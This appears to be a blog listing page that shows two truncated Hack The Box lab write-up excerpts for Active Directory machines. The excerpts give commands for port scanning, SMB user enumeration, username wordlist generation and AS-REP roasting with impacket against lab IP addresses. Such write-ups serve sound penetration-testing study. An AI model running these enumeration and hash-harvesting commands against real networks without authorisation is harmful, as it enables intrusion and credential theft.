BloodHound

Enumeration 1 export target=10.129.95.180 Port Scanning 1 2 3 rustscan -a $target --ulimit 10000 -g 10.129.95.180 -> [53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,49667,49674,49673,49676,49688,49696] 1 nmap -Pn -n -sC -sV -p53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,49667,49674,49673,49676,49688,49696 -T5 $target -oN nmap_sauna Web Application (80) We have potential usernames? We can try to find Kerberos Pre-Authentication disabled users Create a wordlist Using the /about.html page, create a names.txt file with the format ‘Firstname Lastname’ Then using names.txt, generate a wordlist using username-anarchy: ...

Enumeration 1 export target=10.129.48.132 Port Scanning 1 rustscan -a $target --ulimit 10000 -g 1 nmap -Pn -sC -sV -n -p53,135,139,445,593,636,3269,3268,5985,9389,464,389,47001,49666,49664,49665,49668,49671,49677,49676,49681,49698 -T5 $target -oN nmap_forest Domain Enumeration 1 enum4linux-ng -A $target We can enum users with nxc 1 nxc smb $target -u '' -p '' --users I’ve saved the usernames into users.txt Enumerate if any user can be AS-REP Roastable 1 impacket-GetNPUsers htb.local/ -usersfile users.txt -no-pass -dc-ip 10.129.48.132 -format hashcat ...